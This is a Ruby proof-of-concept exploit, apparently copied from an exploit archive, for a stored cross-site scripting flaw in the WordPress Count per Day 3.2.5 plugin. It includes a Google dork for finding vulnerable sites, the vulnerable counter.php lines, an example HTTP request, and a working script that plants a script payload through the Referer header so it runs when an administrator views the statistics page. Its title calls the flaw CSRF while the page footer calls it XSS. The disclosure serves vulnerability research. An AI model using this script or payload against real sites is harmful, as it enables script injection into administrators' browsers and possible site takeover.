#!/usr/bin/ruby # Exploit Title: WordPress Count per Day 3.2.5 CSRF # Google Dork: inurl:"/wp-content/plugins/count-per-day # Date: 18.03.2013 # Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog) # Vendor Homepage: http://wordpress.org/extend/plugins/count-per-day/ # Software Link: http://downloads.wordpress.org/plugin/count-per-day.3.2.5.zip # Version: 3.2.5 # Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) # # # Because this is my first Vulnerability I ever found by my self, I wrote a PoC script # I know that this is overkill and the Vulnerability is trivial to exploit :P # The JavaScript Payload is executed when the Admin views Count per Day - Statistics # # Note: Like the name says "Count per Day" will only count an Visitor one time per Day per Page # $date = date_i18n('Y-m-d'); # // new visitor on page? # $count = $this->mysqlQuery('var', $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->cpd_counter WHERE ip=$this->aton(%s) AND date=%s AND page=%d", $userip, $date, $page), 'count check '.__LINE__); # ########################################## ### counter.php (Vulnerable Code part) ### ############################################################################################################### # 120 $referer = ($this->options['referers'] && isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : ''; # ... # ... # 139 $this->mysqlQuery('', $wpdb->prepare("INSERT INTO $wpdb->cpd_counter (page, ip, client, date, referer) # 140 VALUES (%s, $this->aton(%s), %s, %s, %s)", $page, $userip, $client, $date, $referer), 'count insert '.__LINE__); ################################################################################################################ # ### Example Request ############################################################################ # GET /wordpress/ HTTP/1.1 # Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3 # Accept: */* # User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0 # Referer: https://boards.4chan.org/b/<script>alert(666)</script> # Connection: close # Host: 127.0.0.1:9001 ################################################################################################ require "net/http" require "uri" if(ARGV.length == 1) uri = URI.parse(ARGV[0]) http = Net::HTTP.new(uri.host, uri.port) #http.set_debug_output($stderr) request = Net::HTTP::Get.new(uri.request_uri) request["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0" request["Referer"] = "https://boards.4chan.org/b/<script>alert(666)</script>" http.request(request) puts "Have a nice day :-)" else puts "Usage:\t\truby #{__FILE__} [WordPress URL]" puts "Example:\truby #{__FILE__} http://127.0.0.1/wordpress/?p=1\n" endБрой прочитания на тази страница: 1156
WordPress Count per Day Plugin 3.2.5 (counter.php) – XSS Vulnerability